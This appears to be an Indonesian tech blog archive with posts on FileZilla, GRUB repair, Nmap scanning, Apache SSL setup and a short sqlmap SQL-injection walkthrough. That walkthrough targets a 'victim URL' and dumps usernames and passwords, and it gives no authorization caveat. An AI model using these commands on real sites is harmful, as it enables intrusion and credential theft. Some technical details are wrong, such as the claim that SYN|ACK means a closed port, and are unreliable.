Selasa, 29 September 2015

Installasi dan Konfigurasi FTP Client Filezilla

Setelah di artikel sebelumnya telah menginstall dan melakukan konfigurasi ftp server, kali ini kita akan coba melakukan koneksi dari sisi klien, kita gunakan ftp klien Filezilla .
Bagi Anda pengguna ubuntu, gunakan perintah berikut dari terminal untuk menginstall filezilla
Beda lagi  bagi Anda pengguna sistem operasi berbasis RHEL , berikut perintahnya
Buka FileZilla client dari “Dash” atau “Menu”. Masukkan FTP server hostname atau alamat IP , username, password dan port number. Klik “Quickconnect” untuk.
Gambar002
Mungkin anda akan mendapatkan error seperti ini .
Error: Connection timed out
Error: Failed to retrieve directory listing
Untuk mengatasi error seperti  ini gunakan beberapa solusi berikut. Dalam beberapa kasus solusi 2 bekerja dengan baik mengatasi masalah ini.

Solusi 1:

1. Di Filezilla client masuk menu Edit -> Settings -> FTP ->Active Mode.
Di tab Active Mode , pastikan pilihan “Ask your operating system for the external ip address” dicentang.
Gambar003
Lalu masuk menu Edit -> Settings -> FTP ->Passive Mode. Pilih “Fall back to active mode” lalu klik Ok.
Gambar004
Error akan menghilang dalam sekejap (Kemungkinan terjadi pada pengguna OS Windows).

Solusi 2:

Apabila solusi 1 belum menyelesaikan masalah,masuk ke FTP server, lalu  ubah file “/etc/sysconfig/iptables-config”.
Temukan baris IPTABLES_MODULES=” “ lalu ganti menjadi IPTABLES_MODULES=”ip_conntrack_ftp”:
Simpan dan restart iptables:
Selanjutnya coba lagi koneksi menggunakan FileZilla .
Gambar005

Selasa, 22 September 2015

Sql Injection Menggunakan Sqlmap Kali Linux

  1. Buka terminal Linux dan ketikan sqlmap -u url korban --dbs
  2.  Maka Akan Muncul list database yang ada di web tersebut
  3. Kemudian ketikan lagi sqlmap -u url korban -D dbkorban --tables

  4.  Maka akan muncul lagi daftar table yang ada di database tersebut
     
  5. nah disini kita pilih table mna yang ingin kita buka contoh users, ketikan perintah sqlmap -u url korban -D dbkorban -T users --columns , maka akan muncul daftar colom yang ada di table itu
     
  6. Lalu pilih data mana yang mau kita dump atau kita ambil sqlmap -u url korban -D dbkorban -T users -C userName,userPass --dumps



    Semoga berhasil :)

Selasa, 15 September 2015

Mengembalikan Grub Kali Linux Yang Hilang Setelah Install Windows

Boot Loader adalah suatu program yang sudah tertanam pada suatu sistem operasi untuk mem-boot atau memanggil sistem operasi yang ada pada hard disk dan media boot lainnya seperti flashdisk  (contohnya GRUB dan LILO). Biasanya Boot Loader digunakan untuk memilih sistem operasi yang ada pada hard disk karena pada hard disk tersebut memiliki lebih dari 1 sistem operasi. Boot Loader ini, dimuat pada BIOS komputer, yang kemudian digunakan untuk memanggil kernel suatu sistem operasi.
Jadi, Boot Loader ini digunakan untuk memilih dan memanggil sistem operasi yang ada pada hard disk dan media boot lainnya. Misalnya, pada hard disk terdapat sistem operasi GNU/Linux Kali Linux dan Windows 7. Nah, anda bisa menggunakan salah satu Boot Loader yang sudah disediakan dari kedua sistem operasi tersebut. Boot Loader, harus dipasang pada MBR (Master Boot Record) pada hard disk atau media boot lainnya agar sistem operasi yang terdapat pada hard disk atau media boot lainnya bisa di-boot dengan baik.


Untuk mengembalikan grub kali linux yang tertimpa windows
Langkah-langkahnya adalah sebagai berikut :
1.Boot Live CD/ USB Kali Linux
2.Kemudian pilih live, setelah masuk ke desktop kemudian buka terminal
3.Untuk melihat dimana partisi Kali Linux berada, ketik command di bawah ini:
# fdisk -l

4.misalnya seperti gambar di atas partisi Kali Kinux saya berada di /dev/sda2, maka ketikkan di terminal
   perintah berikut satu-per satu:
# mount -t ext4 /dev/sda2 /mnt/
# mount -t proc proc /mnt/proc/
# mount -t sysfs sys /mnt/sys/
# mount -o bind /dev/ /mnt/dev/
# chroot /mnt /bin/bash

5. Instal grub ke MBR
# grub-install /dev/sda

6. Kembalikan grub ke dalam linux kita
# grub-install /dev/sda2

7. Lakukan reboot OS-nya, dan lihat hasilnya :D

Jumat, 11 September 2015

NMAP Tutorial

Tutorial & Article NMAP – Mungkin bagi para hacker, tool ini merupakan salah satu yang harus dikuasai dan sering digunakan karena tool ini simple dan ampuh yang digunakan untuk mengetahui host, service, sistem operasi yang digunakan oleh sistem yang akan dimasuki. Tetapi kita memepelajari ini bukan untuk menjahili orang lain dan merusak sistem orang lain, mungkin hanya untuk pengetahuan yang harus dipelajari untuk digunakan secara positif.

Nmap merupakan sebuah tool yang sudah sangat terkenal ,saking terkenalnya bahkan digunakan oleh sebuah film yang sangat terkenal. Ya siapa yang tidak tahu film Matrix Reloaded ,kalau anda teliti di akhir film itu Trinity menggunakan nmap untuk membobol sistem komputer tenaga listrik darurat yang membuat bangga pembuat tool ini yaitu Fyodor. Ya Fyodor bangga karena Matrix satu-satunya film holywood yang menggunakan metode membobol yang sungguhan tidak seperti Swordfish atau Hackers yang tidak Pernod menunjukkan cara sungguhan. Tetapi sekali lagi saya peringatkan jangan menggunakannya pada system oranglain karena itu perbuatan ilegal dan melanggar hukum yang bisa membuat anda dipenjara.
1. Instalasi Nmap
Nmap yang merupakan singkatan dari Network Mapper merupakan tools para hacker yang digunakan untuk melakukan pemetaan suatu jaringan. Dengan Nmap dapat diketahui, komputer atau host mana yang aktif dan kira-kira dapat di eksploitasi lebih lanjut. Nmap tersedia di berbagai sistem operasi mulai dari Unix, Linux hingga Windows. Anda dapat mendownload di http://www.nmap.org atau http://www.insecure.org/nmap. Pada tulisan ini kami pergunakan Nmap dengan sistem operasi Windows. Namun demikian kami tidak menggunakan versi grafis melainkan versi text atau command line, sehingga instruksi atau command line yang sama dapat Anda lakukan pada sistem operasi lainnya seperti Linux, Unix dan keluarganya. Instalasi Nmap versi windows sangat mudah, yang Anda harus lakukan adalah sebagai berikut:
1. Install Winpcap versi 2.1-beta atau versi yang lebih baru dari http://winpcap.polito.it/, yaitu WinPcap_3_0.exe (versi yang dipakai ketika tulisan ini dibuat)
2. Reboot
3. Download file program Nmap dari www.nmap.org , yaitu nmap-6.47.tar.bz2 (versi ketika tulisan ini dibuat)
4. Unzip file tersebut.
$ tar xvfj nmap-6.47.tar.bz2 $ cd nmap-6.47 $ chmod +x ./configure $ ./configure $ make $ make install - See more at: http://idman-99.blogspot.co.id/2015/07/tutorial-cara-ekstrak-dan-installasi-file-tar-gz-tar-bz2-tar-xz-tgz-di-linux.html#sthash.xXdEQDzc.dpuf


# tar xvfj nmap-6.47.tar.bz2
# cd nmap-6.47
# chmod +x ./configure
# ./configure
# make
# make install

2. Memulai Nmap
Sebelum memulai, sebaiknya Anda perlu mengetahui fasilitas apa yang tersedia dari Nmap. Untuk itu Anda dapat memulai dengan melihat option yang tersedia. Untuk mengetahui option yang tersedia dari Nmap, cukup memanggil Helpnya sebagai berikut:
C:\>nmap -h
Nmap V. 3.00 Usage: nmap [Scan Type(s)] [Options]
Some Common Scan Types (‘*’ options require root privileges)
* -sS TCP SYN stealth port scan (default if privileged (root))
-sT TCP connect() port scan (default for unprivileged users)
* -sU UDP port scan
-sP ping scan (Find any reachable machines)
* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)
-sR/-I RPC/Identd scan (use with other scan types)
Some Common Options (none are required, most can be combined):
* -O Use TCP/IP fingerprinting to guess remote operating system
-p ports to scan. Example range: ’1-1024,1080,6666,31337′
-F Only scans ports listed in nmap-services
-v Verbose. Its use is recommended. Use twice for greater effect.
-P0 Don’t ping hosts (needed to scan www.microsoft.com and others)
* -Ddecoy_host1,decoy2[,…] Hide scan using many decoys
-T
General timing
policy
-n/-R Never do DNS resolution/Always resolve [default: sometimes
resolve]
-oN/-oX/-oG Output normal/XML/grepable scan logs to
-iL Get targets from file; Use ‘-’ for stdin
* -S /-e Specify source address or network
interface
–interactive Go into interactive mode (then press h for help)
–win_help Windows-specific features
Example: nmap -v -sS -O www.my.com 192.168.0.0/16 ’192.88-90.*.*’
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES
C:\
Cara yang paling sederhana untuk mengetahui apakah sebuah komputer atau host aktif atau tidak aktif adalah dengan menggunakan perintah ping sebagai berikut:
C:\>ping server1
Pinging server1 [128.1.10.25] with 32 bytes of data:
Reply from 128.1.10.25: bytes=32 time<10ms ttl="128</p">Reply from 128.1.10.25: bytes=32 time<10ms ttl="128</p">Reply from 128.1.10.25: bytes=32 time<10ms ttl="128</p">Reply from 128.1.10.25: bytes=32 time<10ms ttl="128</p">Ping statistics for 128.1.10.25:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>
Hasil reply di atas menunjukkan bahwa host server1 sedang aktif alias tidak mati. Jika hostnya sedang tidak aktif alias mati hasilnya adalah sebagai berikut:
C:\>ping 192.168.1.95
Pinging 192.168.1.95 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 192.168.1.95:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>
Nah yang menjadi masalah dan bikin pusing adalah bagaimana jika Anda (hacker) ingin mencari tahu apakah ada host yang aktif dalam sebuah network perusahaan tertentu yang terhubung ke internet. Jika network perusahaan tersebut merupakan network kelas C maka jumlah host maksimalnya adalah 256 host. Jadi jika harus menggunakan perintah ping satu per satu, berapa kali Anda harus mengetikkan perintah ping tersebut ? Wah, tentu saja membutuhkan waktu yang lama dan tentu saja bikin pusing dan males. Nmap memberikan solusi yang cepat. Misalnya Anda ingin memeriksa apakah ada host yang aktif pada network kelas C dengan nomor IP 192.168.1.91 s/d 192.168.1.100 Maka Anda dapat memeriksa dengan perintah sebagai berikut:
C:\> nmap -sP 192.168.1.91-100
Starting nmap 3.45 ( http://www.insecure.org/nmap ) at 2003-09-26 15:40
SE Asia
Standard Time
Host NARUTO (192.168.1.91) appears to be up.
Host SASUKE (192.168.1.92) appears to be up.
Host SAKURA (192.168.1.93) appears to be up.
Host NEJI (192.168.1.94) appears to be up.
Host LEE (192.168.1.96) appears to be up.
Host KIBA (192.168.1.97) appears to be up.
Host COUJI (192.168.1.98) appears to be up.
Host ADMINISTRASI (192.168.1.100) appears to be up.
Nmap run completed — 10 IP addresses (8 hosts up) scanned in 9.880
seconds
C:\>
Perhatikan hasil Nmap di atas bahwa dari 10 host yang discan ternyata hanya ditemukan 8 host yang aktif, IP 192.168.1.95 dan IP 192.168.1.99 tidak ditemukan atau tidak aktif atau mungkin memang tidak ada.Mudah saja bukan.
Option –sP merupakan salah satu type scanning dari Nmap berbasis ICMP, dimana umumnya dipergunakan untuk melakukan ping terhadap sejumlah IP sekaligus. Harap diperhatikan bahwa –sP bersifat case sensitive. Jika anda menggunakan –sp maka perintah tersebut tidak dikenal.
Pada umumnya server-server web publik yang baik selalu berada dibelakang firewall, sehingga biasanya proses ping dapat diblokir apabila melewati router atau firewall tersebut, akibatnya Anda tidak dapat mendeteksi apakah server web tersebut aktif atau tidak. Untuk itu diperlukan teknik lainnya untuk memastikan apakah server web tersebut dalam kondisi hidup atau tidak. Perhatikan contoh hasil ping pada server web yang berada di belakang firewall berikut ini:
C:\>ping webserver
Pinging webserver [128.1.7.13] with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 128.1.7.13:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>
Nmap dapat dipergunakan untuk menyiasati masalah diatas yaitu dengan melakukan scanning terhadap port yang terbuka dari host target. Jika host yang menjadi target pemeriksaan adalah server web, maka umumnya akan membuka port 80 http. Dengan memanfaatkan port 80, maka Anda dapat mendeteksi apakah host target tersebut dalam keadaan hidup atau mati.
C:\> nmap -sP -PT80 128.1.7.13
Starting nmap 3.45 ( http://www.insecure.org/nmap ) at 2003-09-26 16:42
SE Asia
Standard Time
Host webserver (128.1.7.13) appears to be up.
Nmap run completed — 1 IP address (1 host up) scanned in 3.890 seconds
C:\>
Option –PT80 menunjukkan port yang akan dimanfaatkan adalah port 80. Default dari Nmap adalah port 80, jadi sebenarnya Anda dapat mencantumkan –PT saja untuk menunjukkan proses scanning melalui port 80.
Selanjutnya Anda dapat pula menguji coba untuk port umum lainnya. Misalnya jika host yang menjadi target Anda adalah mail maka Anda dapat menguji dengan port 25 (SMTP) atau port 110 (POP3), demikian seterusnya.
3.Port Scanning
Port scanning adalah proses koneksi ke port-port TCP atau UDP pada host yang menjadi target untuk menentukan service apa yang sedang berjalan (Listening). Dengan mengidentifikasi port-port yang listening ini Anda dapat menentukan jenis aplikasi dan sistem operasi apa yang dipergunakan pada host tersebut. Service yang dalam status listening ini memungkinkan orang yang tidak berhak menerobos ke dalam host tersebut.
Untuk mengetahui port apa saja yang listening dari sebuah host dapat menggunakan cara sebagai berikut:
C:\> nmap -sS 128.1.71.103
Starting nmap V. 3.00 ( www.insecure.org/nmap )
Interesting ports on (128.1.71.103):
(The 1589 ports scanned but not shown below are in state: closed)
Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
17/tcp open qotd
19/tcp open chargen
80/tcp open http
135/tcp open loc-srv
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1026/tcp open LSA-or-nterm
1031/tcp open iad2
Nmap run completed — 1 IP address (1 host up) scanned in 5 seconds
C:\>
Option –sS merupakan salah satu type scanning dari Nmap yaitu TCP SYN scan yang dipergunakan untuk mendeteksi port apa saja yang terbuka. Teknik ini sering disebut Half Open scan karena dalam melakukan evaluasi terhadap port tidak membuka hubungan komunikasi TCP/IP secara penuh. Artinya secara teknis komputer yang Anda pergunakan untuk mendeteksi port tersebut akan mengirimkan paket SYN ke host target. Jika SYN|ACK paket dikirim balik, berarti port tersebut tertutup. Setelah memperoleh paket balasan, komputer Anda akan menjawab dengan paket RST untuk me-reset hubungan yang hampir terjadi tersebut (itu sebabnya disebut half Open). Teknik ini hampir tidak terdeteksi oleh host target yang tidak secara maksimal mencatat aktifitas portnya. Istilah kerennya –sS adalah stealth scan atau scan yang tidak terdeteksi.
Untuk melakukan scan port tertentu dapat menggunakan option –p sebagai berikut:
C:\>nmap -sS -p 21,23,25,53,80,110 adminristek
Starting nmap 3.45 ( http://www.insecure.org/nmap ) at 2003-09-30 14:50 SE
Asia
Standard Time
Interesting ports on adminristek (128.1.9.81):
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
53/tcp closed domain
80/tcp open http
110/tcp closed pop-3
Nmap run completed — 1 IP address (1 host up) scanned in 1.590 seconds
C:\>
Perhatikan bahwa terdapat port 53 yang sedang tidak terbuka alias close.
Lebih Jauh tentang Jenis Port Scanning pada Nmap
Setiap pengelola sistem memiliki strategi pengamanan yang berbeda-beda. Untuk itu cara-cara yang telah dijelaskan di atas mungkin tidak selalu dapat diterapkan. Nmap sendiri memberikan beberapa teknik port scanning untuk menghadapi “medan” tempur yang berbeda-beda. Untuk itu terkadang dibutuhkan latihan dan kreatifitas yang tinggi bagi Anda yang ingin menembus sistem pertahanan lawan tanpa diketahui pemiliknya (Oops, kami tidak menyarankan apalagi memprovokasi Anda lho). Diatas telah diperkenalkan beberapa option dari Nmap yang merupakan teknik scan. Berikut ini teknik scan lanjutan yang dapat Anda manfaatkan sesuai dengan medan tempur yang ada:
a. TCP connect scan -sT
Jenis scan ini terhubung ke port host target dan menyelesaikan three-way handshake (SYN, SYN/ACK dan ACK) Scan ini mudah terdeteksi oleh pengelola host target.
b. TCP SYN Scan -sS
Teknik ini dikenal sebagai half-opening scanning karena suatu koneksi penuh tidak sampai terbentuk. Suatu paket SYN dikirimkan ke port host target. Bila SYN/ACK diterima dari port host target, maka Anda dapat mengambil kesimpulan bahwa port tersebut dalam status listening. Jika RST/ACK Anda terima, biasanya menunjukkan bahwa port tersebut tidak listening. Suatu RST/ACK akan dikirim oleh mesin yang melakukan scanning sehingga koneksi penuh tidak akan terbentuk. Teknik ini bersifat siluman dibandingkan dengan TCP koneksi penuh dan tidak akan tercatat pada log host target.
c. TCP FIN scan –sF
Teknik ini mengirimkan suatu paket FIN ke port host target. Berdasarkan RFC 793, host target akan mengirim balik suatu RST untuk setiap port yang tertutup. Teknik ini hanya dapat dipakai pada stack TCP/IP berbasis Unix.
d. TCP Xmas tree scan -sX
Teknik ini mengirimkan suatu paket FIN, URG dan PUSH ke port host target. Berdasarkan RFC 793, host target akan mengembalikan suatu RST untuk semua port yang tertutup.
e. TCP Null scan -sN
Teknik ini membuat off semua flag. Berdasarkan RFC 793, host target akan mengirim balik suatu RST untuk semua port yang tertutup.
f. TCP ACK scan -sA
Teknik ini digunakan untuk memetakan set aturan firewall. Hal ini sangat membantu Anda dalam menentukan apakah firewall yang dipergunakan adalah simple packet filter yang membolehkan hanya koneksi penuh saja (koneksi dengan bit set ACK) atau suatu firewall yang menjalankan advance packet filtering.
g. TCP Windows scan -sW
Teknik ini dapat mendeteksi port-port terbuka maupun terfilter/tidak terfilter pada sistem-sistem tertentu seperti pada AIX dan Free BSD sehubungan dengan anomali dari ukuran windows TCPnya.
h. TCP RPC Scan -sR
Teknik ini spesifik hanya pada sistem Unix dan digunakan untuk mendeteksi dan mengidentifikasi port RPC dan program serta nomor versi yang berhubungan dengannya
i. UDP Scan -sU
Teknik ini mengirimkan suatu paket UDP ke port host target. Bila port host target memberikan response pesan berupa “ICMP port unreachable” artinya port ini tertutup. Sebaliknya bila tidak menerima pesan tersebut, Anda dapat menyimpulkan bahwa port tersebut terbuka. Karena UDP dikenal sebagai connectionless protocol, maka akurasi teknik ini sangat bergantung pada banyak hal sehubungan dengan penggunaan jaringan dan sistem reources lainnya.
Apapun teknik port scan yang akan Anda pergunakan, Anda perlu berhati-hati dalam menggunakan terhadap host target. Tindakan Anda melakukan port scanning ke host target yang bukan wewenang Anda dapat saja menimbulkan reaksi yang mungkin tidak Anda duga sebelumnya dari pengelola host target seperti serangan balik, pemblokiran terhadap acount oleh ISP dan sebagainya. Jadi sebaiknya Anda menguji coba pada sistem Anda sendiri.
3.Mendeteksi Sistem Operasi
Cara klasik mendeteksi sistem operasi host tertentu sebenarnya dapat dilakukan dengan cara menggunakan telnet sebagai berikut:
#telnet hpux.u-aizu.ac.jp
Trying 163.143.103.12 …
Connected to hpux.u-aizu.ac.jp.
Escape character is ‘^]’.
HP-UX hpux B.10.01 A 9000/715 (ttyp2)
login:
Pengelola sistem komputer yang pengalaman tentu saja tidak akan memberikan banner sistem operasi dengan begitu saja dan biasanya fasilitas banner tersebut mereka memodifikasi atau dihilangkan. Jika hal tersebut terjadi, Anda dapat mencoba dengan cara lain misalnya melalui service yang terbuka semisal FTP sebagai berikut:
# telnet ftp.netscape.com 21
Trying 207.200.74.26 …
Connected to ftp.netscape.com.
Escape character is ‘^]’.
220 ftp29 FTP server (UNIX(r) System V Release 4.0) ready.
SYST
215 UNIX Type: L8 Version: SUNOS
Namun demikian, semua yang default sekali lagi biasanya diubah oleh pengelola sistem komputer. Untuk itu maka umumnya para hacker langsung memanfaatkan Nmap !
Untuk mendeteksi sistem operasi dari host target, sebenarnya Anda dapat menganalisa dari hasil port scanning di atas. Apabila Anda menemukan port 139 dan 135 terbuka, maka besar kemungkinan bahwa host target adalah Windows NT. Windows NT umumnya listen pada port 135 dan 139. Berbeda dengan listen pada windows 95/98 yang hanya listen pada port 139. Aktifnya beberapa port di sistem Unix juga dapat mencirikan jenis sistem operasi tersebut.
enggunaan option –O diperuntukan untuk mendeteksi jenis sistem operasi, sebagai berikut:
C:\> nmap -O ristbook
Starting nmap V. 3.00 ( www.insecure.org/nmap )
Interesting ports on ristbook (128.1.71.103):
(The 1589 ports scanned but not shown below are in state: closed)
Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
17/tcp open qotd
19/tcp open chargen
80/tcp open http
135/tcp open loc-srv
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1026/tcp open LSA-or-nterm
1031/tcp open iad2
Remote operating system guess: Windows Millennium Edition (Me), Win 2000,
or Win XP
Nmap run completed — 1 IP address (1 host up) scanned in 2 seconds
C:\>
Berikut ini contoh untuk hasil pada sistem operasi Linux:
C:\> nmap -O adminristek
Starting nmap 3.45 ( http://www.insecure.org/nmap ) at 2003-09-26 18:01
SE Asia
Standard Time
Interesting ports on adminristek (128.1.9.81):
(The 1646 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
79/tcp open finger
80/tcp open http
98/tcp open linuxconf
113/tcp open auth
139/tcp open netbios-ssn
513/tcp open login
514/tcp open shell
1984/tcp open bigbrother
Device type: general purpose
Running: Linux 2.1.X|2.2.X
OS details: Linux 2.1.19 – 2.2.25, Linux 2.2.19 on a DEC Alpha
Nmap run completed — 1 IP address (1 host up) scanned in 12.020 seconds
C:\>
Berikut ini contoh untuk hasil pada sebuah Cisco 1750:
C:\> nmap -sS -O 128.1.8.5
Starting nmap 3.45 ( http://www.insecure.org/nmap ) at 2003-09-30 15:18
SE Asia
Standard Time
Interesting ports on 128.1.8.5:
(The 1655 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
23/tcp open telnet
79/tcp open finger
Device type: router|switch
Running: Cisco IOS 11.X
OS details: Cisco switch/router with IOS 11.1(7)-11.2(8.10), Cisco
Router/Switch
with IOS 11.2
Nmap run completed — 1 IP address (1 host up) scanned in 30.160 seconds
C:\>
Jika host target hanya membuka port 80 (http), maka kita dapat mensiasati dengan port scanning melalui port tersebut sebagai berikut:
C:\>nmap -PT80 -O webserver
Starting nmap 3.45 ( http://www.insecure.org/nmap ) at 2003-09-26 18:55
SE Asia
Standard Time
Interesting ports on webserver (128.1.7.13):
(The 1647 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1027/tcp open IIS
1433/tcp open ms-sql-s
1503/tcp open imtc-mcs
1720/tcp open H.323/Q.931
3372/tcp open msdtc
Device type: general purpose
Running: Microsoft Windows 95/98/ME|NT/2K/XP
OS details: Microsoft Windows Millennium Edition (Me), Windows 2000
Professional
or Advanced Server, or Windows XP
Nmap run completed — 1 IP address (1 host up) scanned in 7.520 seconds
Original source: http://jhezer.web.id/tutorial-nmap/

Minggu, 06 September 2015

Install SSL di Web Server (Apache)


Install SSL di Web Server (Apache) Pada CentOS

Setiap harinya dunia internet memiliki banyak transaksi ataupun data-data sensitif yang penting. Untuk keamanan dan kenyamanan pada setiap transaksi dalam Web Server (Apache), penggunaan SSL (Secure Sockets Layer) tentunya dibutuhkan. Namun, untuk web server  yang dienkripsi SSL, ada beberapa hal yang diperlukan sesuai dengan instalasi yang Anda gunakan. Hal ini bertujuan agar fungsinya maksimal dan dapat berjalan dengan lancar.

SSL adalah protokol keamanan yang digunakan pada hampir semua transaksi aman pada internet. SSL mengubah suatu protokol transport seperti TCP menjadi sebuah saluran komunikasi aman yang cocok untuk transaksi yang sensitif seperti Paypal, Internet Banking, dan lain-lain. Keamanan dijamin dengan menggunakan kombinasi dari kiptografi kunci publik dan kriptografi kunci simetri bersamaan dengan sebuah infrastruktur sertifikat. Sebuah sertifikat adalah sebuah kumpulan data identifikasi dalam format yang telah distandardisasi. Data tersebut digunakan dalam proses verifikasi identitas dari sebuah entitas (contohnya sebuah web server) pada internet.

SSL menyediakan otentikasi (pada sisi client, dan opsional pada sisi server) terhadap pihak-pihak yang berkomunikasi. SSL dapat mengamankan koneksi antara dua titik, dan tidak ada pihak yang dapat melakukan hal-hal yang bersifat destruktif atau mengakses informasi yang bersifat sensitif. SSL menyediakan sebuah saluran komunikasi yang aman tanpa perlu adanya pertemuan kedua pihak yang berkomunikasi untuk melakukan proses pertukaran kunci.

Jika Anda akan menggunakan SSL, maka Anda perlu instalasi openssl dan mod_ssl. Openssl dapat di download di link https://www.openssl.org/source dan Modssl dapat di download di link www.modssl.org. Berikut ini adalah langkah-langkah instalasi maupun konfigurasi yang perlu dilakukan :

BERLANGGANAN SERTIFIKAT SSL
Sertiffikat SSL bisa didapatkan dengan berlangganan melalui http://www.warungssl.com atau situs2 lainnya. Setelah melakukan pembayaran maka akan dikirimkan Web Server Certificate dan Certificate Authority (CA).

INSTALLASI SSL
yum -y install mod_ssl openssl
atau download source Modssl di link www.modssl.org dan Openssl di link https://www.openssl.org/source.



GENERATE SERTIFIKAT

# Generate private key
openssl genrsa -out www.yollyrinaldi.key 2048



# Generate CSR (Certificate Signing Request) untuk memberikan SSL authority
openssl req -new -key www.domain.key -out www.yollyrinaldi.csr


Catatan : Anda akan mengisi keterangan tentang SSL authority.

# Generate Self Signed Key
openssl x509 -req -days 365 –in yollyrinaldi.csr –signkey yollyrinaldi.key -out yollyrinaldi.crt


Keterangan :
·      Openssl : ini adalah alat baris perintah dasar yang disediakan oleh OpenSSL untuk membuat dan mengelola sertifikat, kunci, permintaan penandatanganan, dll.
·      -x509 : Opsi ini menentukan bahwa kita ingin membuat file sertifikat yang ditandatangani sendiri bukan menghasilkan permintaan sertifikat.
·      -req : ini menentukan subcommand untuk permintaan penandatanganan sertifikat X.509 (CSR) manajemen. X.509 adalah standar infrastruktur kunci publik SSL yang menganut untuk kunci dan sertifikat manajemen. Karena kita ingin membuat sertifikat X.509 baru, ini adalah apa yang kita inginkan.
·      -nodes : Opsi ini memberitahu OpenSSL bahwa kita tidak ingin untuk mengamankan file kunci kami dengan passphrase. Memiliki dilindungi password file kunci akan mendapatkan di jalan dari Apache mulai secara otomatis saat kita harus memasukkan password setiap kali restart layanan.
·      -days 365: ini menentukan bahwa sertifikat kita menciptakan akan berlaku selama satu tahun.
·      -newkey rsa: 2048 : Opsi ini akan menciptakan permintaan sertifikat dan kunci pribadi baru pada waktu yang sama. Hal ini diperlukan karena kita tidak menciptakan sebuah kunci pribadi di muka. The rsa: 2048 mengatakan OpenSSL untuk menghasilkan kunci RSA yang 2048 bit panjang.
·      -keyout : Ini nama parameter file output untuk file kunci pribadi yang sedang dibuat.
·      -out : Ini nama pilihan file output untuk sertifikat yang kita menghasilkan.


Catatan : Konfigurasi ini digunakan kalau kita gak memakai sertifikat dari CA (Certificate Authority) (ex. http://www.warungssl.com).

Kirim file CRT ke pihak belangganan Sertificate SLL (ex. http://www.warungssl.com).



Selanjutnya copy file ssl yang dibuat tadi ke /home/ssl :
cp yollyrinaldi.crt /home/ssl/yollyrinaldi.crt
cp yollyrinaldi.key /home/ssl/yollyrinaldi.key
cp yollyrinaldi.csr /home/ssl/yollyrinaldi.csr


KONFIGURASI SSL
Masuk ke directory /etc/httpd/conf.d/ssl.conf
Edit :
SSLCertificateFile /home/ssl/yollyrinaldi.crt 
SSLCertificateKeyFile /home/ssl/yollyrinaldi.key

Save dan keluar dari ssl.conf (:wq!)

Restart Apache :
service httpd restart

KONFIGURASI DI VIRTUALHOST
Masih di directory /etc/httpd/conf.d/ssl.conf
Tambahkan :
SSLEngine on
ServerName     yollyrinaldi.web.id
DocumentRoot     /var/www/html/yollyrinaldi.web.id

SSLCertificateFile /home/ssl/yollyrinaldi.crt
SSLCertificateKeyFile /home/ssl/yollyrinaldi.key

Save dan exit (:wq!)

Restart Apache :
service httpd restart


KONFIGURASI  .htaccess

Masuk ke directory /etc/httpd/conf/httpd.conf
Menujulah ke folder utama dari project web kalian lalu buat file .htaccess dengan isi berikut:

RewriteEngine On
ServerName yollyrinaldi.web.id
RewriteCond %{HTTPS} !on
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R,L]

Save dan exit (:wq!)

Restart Apache :
service httpd restart

Cobalah buka web browser kalian lalu akses aplikasi web dan secara otomatis akan membawa ke https.

Jika tidak ke redirect bisa jadi file .htaccess tidak berjalan. Periksa konfigurasi httpd.conf yang berada di /etc/httpd/conf/
Lalu cari baris AllowOverride dan pastikan kondisinya sudah ALL seperti baris berikut:
AllowOverride ALL

Selanjutnya restart Apache, service httpd restart
Dan buka kembali web kalian. Nanti akan terjadi redirect ke https


KONFIGURASI FIREWALL
Anda seharusnya sudah memiliki situs yang bekerja di https menggunakan sertifikat yang ditandatangani sendiri. Jika anda tidak bisa menghubungkan, mungkin anda perlu membuka port pada firewall anda.
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
/sbin/service iptables save
iptables -L -v